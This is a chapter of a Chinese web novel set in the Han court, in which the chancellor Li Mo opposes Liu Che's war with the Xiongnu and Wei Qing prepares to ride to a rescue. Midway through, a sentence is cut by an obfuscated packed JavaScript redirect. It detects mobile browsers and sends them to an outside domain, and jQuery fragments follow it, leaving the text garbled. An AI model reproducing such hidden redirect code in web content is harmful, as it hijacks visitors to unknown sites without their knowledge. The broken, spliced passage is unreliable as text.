李茉觉得刘彻讲不通道理,她把北方游牧民族的历史细细说了一遍,犬戎攻破镐京灭亡西周,义渠与秦国百年相爱相杀,北方游牧民族杀了这个,会冒出那个,总会有新的胡人出现,占据那片土地。
北方天气寒冷,不能种植,只能游牧,那里的百姓从小在马背上长大,是天然的骑兵。大汉对这样的骑兵天然处在下风,但大汉有丰富的物质和文明,可以通过榷场贸易,以鼓励草原人多养羊、少养马的经济政策来限制他们,慢慢侵蚀,让百姓活得有尊严一点,何必追求一举成功。
李茉献上了这些年对羊毛纺织的研究,粗羊毛戳成的毡毯坐垫,细一些的编制成外套毛料,更细一些的可以纺线织毛衣,最细的羊绒贴身穿着。羊毛贸易是一场双方都有获利,但大汉长久治下最终胜利的国策。
刘彻拿着柔软得仿佛要陷进去的织物,却觉得李茉讲不通道理。
大汉已经休养生息近百年,如今正是风起云涌、改换天地的关键时刻,就像当年周失起鹿,诸侯逐鹿一样,就像始皇帝一统六国奠定伟业一样,他刘彻也该一统天下,把大汉的旗帜插便天下疆土。
不止要在北方对匈奴用兵,还要往南对南越、闽越作战,往西南征伐夜郎、滇国、氐人,往东加强对藩属国的控制,若卫氏朝鲜右渠王仍旧对大汉不敬,亦可灭国。
刘彻脑海中浮现线下舆图,大汉居于中央,占据最大一片土地,可是东西南北仍有势力,他要做的是把眼前能看到的土地,都变成大汉的疆土。
匈奴虽然远遁,但西域还有诸多小国,各有传承,并未臣服大汉,这些小国极有可能成为匈奴再次兴盛的养料。所以,不仅要出兵,还要派遣使者,震慑西域小国,宣扬大汉国威。
宣扬国威,有比灭亡匈奴更好的方式吗?
刘彻仔细打量李茉,曾经他们无比默契,刘彻说前一句,李茉接后一句,他们共同推动大汉的战车。李茉哭着说去病是她的心血,那如今的汉匈之间的战果,也是她呕心沥血的结果,是自己呕心沥血的结果。
可是,如今李茉跟不上自己的脚步了!
刘彻轻笑着放下这块柔软的羊绒织物,“卿何以如此保守?”
完了,一觉醒来,我成保守派了。
李茉哭笑不得,“陛下,并非臣不知局势,实在是百姓困苦,去年,河中之地已有百姓活不下去,沦为流民,臣担心重演陈胜吴广旧事。”
“谋逆之徒,死不足惜!”刘彻一拍桌子,黔首小民,哪里知道他要做的丰功伟业。“卿不必劝了,此次出兵,势在必行!”
“陛下,若真要出战,统帅还是选老将压阵,其他偏将、裨将也该新老搭配,一步步来。”李茉无奈,只得先稳住他,准备下朝后去找卫青。若论对战场的判断,大汉无人能出卫青之右。
刘彻也不傻,李茉说了无数次“百姓困苦、民生凋敝”,他是受正统皇帝教育长大的,知道民生的重要性,如何提高国家财政的事情,他也想过。
刘彻提过给商贾加税,李茉反对,税太重商业就死了,在如今藩王官吏的层层盘剥下,能把商业干起来的人,按照规章也收不上来多少税。
刘彻提过给百姓加税,李茉反对,百姓如今只是勉强温饱,若再加税,他们便连孩子也不敢生了。因为生了养不活,好不容易养育成年,又被抽丁、徭役逼死,谁还敢生?
以往分歧一件件累积,李茉离开未央宫往大将军府上去的时候,刘彻召见了桑弘羊。
卫青正在家中教儿子读书,听了李茉的讲述,只是平静道:“陛下出兵,自有他的道理,我将向陛下请战。”
“不,千万不要。”李茉连连摆手,弄巧成拙了不是,她是想卫青劝刘彻不要好大喜功,不是想让卫青送命。刘彻和李茉商议领兵人选的时候,默契跳过了卫青,即便他是最优人选,他的身体支撑不起再一场大战。
此次大战,刘彻决议分兵三路,公孙敖领五万骑兵,从朔方出兵,寻找匈奴主力;李广利领三万骑兵,从玉门关出兵,联络西域小国,包抄匈奴;苏建从五原出兵,领两万骑兵,策应公孙敖。
当初说好,李广利只领一万骑兵,如今也不算数了。
刘彻坚持要出兵,李茉没有办法,只能尽力筹措粮草,供应后勤,李夫人、王夫人、李姬的兄弟都在此次出征的大军中,挺另类的人才选拔机制。
前方十万大军尽出,后方李茉感觉政务突然粘手起来,以往如指臂使的感觉找不到了,现在一条政令推行下去,总在想不到的地方出问题,细碎杂务消耗大量精力,和自己政见不同的人仿佛一夜之间都冒出来了。
当你觉得所有人都逆行的时候,真正逆行的人是你。
李茉抬头看了看高居宝座的刘彻,用眼神无声询问:“是你吗?”
琉冕挡在眼前,李茉看不清刘彻的表情,早朝刚刚收到捷报,三路大军各有建树,在余吾水胜利会师,与匈奴主力正面对敌。
大漠之中,最怕的是迷途,找不到敌人,既然会师,胜利是迟早的事。
战果再一次证明了制定战略的君主是何其英明,刘彻从琉冕的缝隙中,看到李茉沉重的表情,嘴角微翘,朕是对的!
果然,捷报紧跟着传来,汉军再次大败匈奴,正驱赶着俘虏的匈奴王公、牧民、马匹回朝。
太常、少府已经提前商议起献俘仪式和大宴宾客事宜了。
乐极生悲,前方又突然传来战报,匈奴右贤王与剩余主力部队会和,在夫羊句山峡大败汉军,汉军伤亡惨重,退至范夫人城,等待救援。
“怎么会败?公孙敖怎么领兵的?”
“李广利是干什么吃的?不是让他联络西域诸国吗?左贤王什么时候到的,他怎会毫无察觉?”
“损失怎么个惨重法?他们带走了所有汉军精锐,哪儿来的救援!”
李茉闭上眼睛,最不愿意看到的局面,还是出现了。此次出战的汉军将领,没有一个有统帅的能力,他们不能指挥这样的大型兵团作战。
刘彻挥退大部分朝臣,把真正能出主意的留下来,开小朝会。
面对这样沉重的消息,众人突然反应过来,匈奴不是那么容易对付的,战场不是刷军功的地方。
可是,要如何救援被困大军呢?
没有人能提出有建设性的意见,但他们会推卸责任啊!大家把目光投向最前方的李茉,丞相最开始是反对出兵的,她肯定有办法。
刘彻有些拉不下脸来,之前捷报传来的时候,他还在李茉面前炫耀过,如今事实证明,对的那个人是李茉。但是,不要脸是帝王的基本素养,刘彻问:“丞相可有对策?”
“正在想。”李茉拼命调动脑子,再派大军、围魏救赵、孤军深入、里应外合……不管怎样高明的计策,必须要有士兵,必须要有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16050353|173613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
统兵人。
“陛下,臣举荐……”
有人想要说话,李茉锐利的眼神飞射而出,吓得那人立刻缩脖子。
刘彻不明所以,“有何策,怎么说不得?”
李茉声音沙哑,“陛下,臣正在想,如何避免最坏的结局。”
刘彻一瞬间了悟,他们还有办法,他们还有压箱底的王牌——卫青。
可是卫青的身体能支撑吗?
刘彻也沉默了,他经受不住失去大军,那是大汉最精锐的部队,若是失去了,十年之内,大汉再无力征讨匈奴;刘彻也经受不住失去卫青,卫青是大汉的军魂,是对抗匈奴活着的旗帜。国家情况如何,他心中清楚,朝臣们再议也议不出个花儿来。
在众人退下之后,李茉请求:“陛下,请给臣三日时间,臣必定筹措粮草,定下方略。”
刘彻颔首,若李茉能挽天倾,何乐而不为?
李茉擅长内政,不是能在战场上挽狂澜于既倒的将才,时间不等人,当她听说卫青进宫消息的时候,他已经受命整兵,救援范夫人城。
疾驰的马蹄踏破长街的平静,急停在长平侯府门前激起阵阵烟尘,匆忙的脚步带起一阵风。
卫青正在亲兵的帮助下穿戴盔甲,任由这阵风刮到自己面前。
卫青抬手,屋中人安静退下,把一室静谧留给二人。
“我正在想办法,你知道的,我正在研制新式武器……”李茉咽了咽口水,她还想再努力一把,万一可以劝住他呢。
“器何优于人?再厉害的武器,总是要人使用的。”
“不一定非要是你,你培养了那么多将才,还有很多可用的,像廉扬、甘平……”
“不如我。”
李茉终于压抑不住哽咽,带上了哭腔:“你会死的。”
卫青整理好臂甲,望向李茉的眼神终于不再压抑,他的眼神像水波一样柔和、像春风一样温暖,“我知道。将军死于战场,死得其所。以前你和我说过,有个很佩服的人写过一句诗,埋骨何须桑梓地,人生无处不青山,我记得那是个春日,当时我在竹林捡到一根竹枝,你说竹枝的模样像一条龙。”
“是,我把那条竹枝烤弯成龙的形状,在龙嘴上穿孔,坠上一个小小的银色香熏球,如今竹枝常年熏烤,已经变成温润的琥珀色。第一次做,手艺不好,烤黑的地方只能用红绳缠住,但看见的人听说是我亲手做的,都夸它形神兼备,都是些马屁精。”
卫青笑:“他们说的是实话,你的确心灵手巧 ,不是拍马屁。”
李茉也笑,笑着笑着,眼泪就下来了。
太固执了!太不知变通了!
当初,也算不上两情相悦,只是看对眼了,饮食男女、何必计较。退一步说,当年归来,卫青无子无妾,他们也不过如情人一般相处,她早立志不成婚。可如今……
李茉常自责耽误了他。
唉,李茉常提醒自己不要跳出时代背景待人,人是社会环境塑造的。偏偏,卫青是那个环境塑造,又高于环境的君子。
真是的……真挚的、赤诚的感情,会让有所保留的人自惭形秽。
“我本骑奴,蒙陛下恩典,才有今日,这是我该做的。”卫青的话,质朴极了,好像他现在是要去赴宴,而不是去直面匈奴主力。
见李茉不说话,卫青上前一步,压低声音劝慰:“不要怨恨陛下。”